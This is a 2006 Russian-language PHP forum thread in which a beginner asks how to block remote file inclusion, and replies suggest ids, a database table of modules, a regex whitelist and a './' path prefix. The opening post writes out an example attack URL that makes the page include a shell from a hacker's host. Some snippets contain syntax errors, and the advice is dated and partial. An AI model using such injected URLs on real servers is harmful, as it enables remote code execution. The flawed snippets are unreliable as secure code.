|
|
|
| Подскажите как можно защитится от передачи в include неверного параметра, точнее:
qwe.php?file=index.php ---- я передаю
qwe.php?file=http://хатскерсайт/shell.php ---- как от этого защититься??!! | |
|
|
|
|
|
|
|
для: Sasha
(14.01.2006 в 23:04)
| | Просто старайся вообще заменять файлы какими-то id'ами...
Например, qwe.php?id=1
Может и придется заменять каждую страницу своим идом, но так будет надежнее... | |
|
|
|
|
автор: Юный Хакер (14.01.2006 в 23:29) |
|
|
для: Unkind™
(14.01.2006 в 23:09)
| | А можно хранить все адреса модулей в базе
<?php
//Подключение модуля
$query=mysql_query("SELECT * FROM site_modules");
While ($result=mysql_fetch_array($query))
{
if ($result['title']==$module) {include "modules/".$result['file'];$ok='true';break;}
}
if ($ok!='true') {echo 'Модуль не найден!;}
?>
|
формат таблицы id|title|file | |
|
|
|
|
|
|
|
для: Sasha
(14.01.2006 в 23:04)
| | А насколько поможет такая конструкция
$patern = "|^[ a-z,A-Z,@,_,-,-,0-9,.,.]+$|i";
if(!preg_match($patern, stripslashes($_GET['file']))) exit( "Неверный запрс");
include "lala/".$_GET['file];
Запретим /
Тоесть обязательно ли для загрузки левого скрипта прописывать к нему путь через http:// | |
|
|
|
|
|
|
|
для: Sasha
(14.01.2006 в 23:35)
| | Подскажите плиз, вопрос оч. актуален... | |
|
|
|
|
|
|
|
для: Sasha
(15.01.2006 в 10:40)
| | >А насколько поможет такая конструкция
Попробуй и все... | |
|
|
|
|
|
|
|
для: Unkind™
(15.01.2006 в 11:04)
| | Я конечно пробова, адресс http://...........не напишешь, может я просто не все учел, и можно написать по другому, без / | |
|
|
|
|
|
|
|
для: Sasha
(15.01.2006 в 11:22)
| | Когда принимаете параметр , например site.com?n=index.php, подключайте этот файл вот так
т.е. указываете перед именем файла ./ (ну или какой там у вас путь к подключаемому файлу)- это будет говорить скрипту подключать файл из директории, находящейся на вашем же хосте, следовательно ни оди удаленный файл злодей не сможет подключить.
А лучше всего не передавать имена файлов в качестве параметра | |
|
|
|
|
|
|
|
для: PantiL
(15.01.2006 в 11:44)
| | Ага. спасибо.
Я только пытаюсь начать постигать php ......спасибо. | |
|
|
|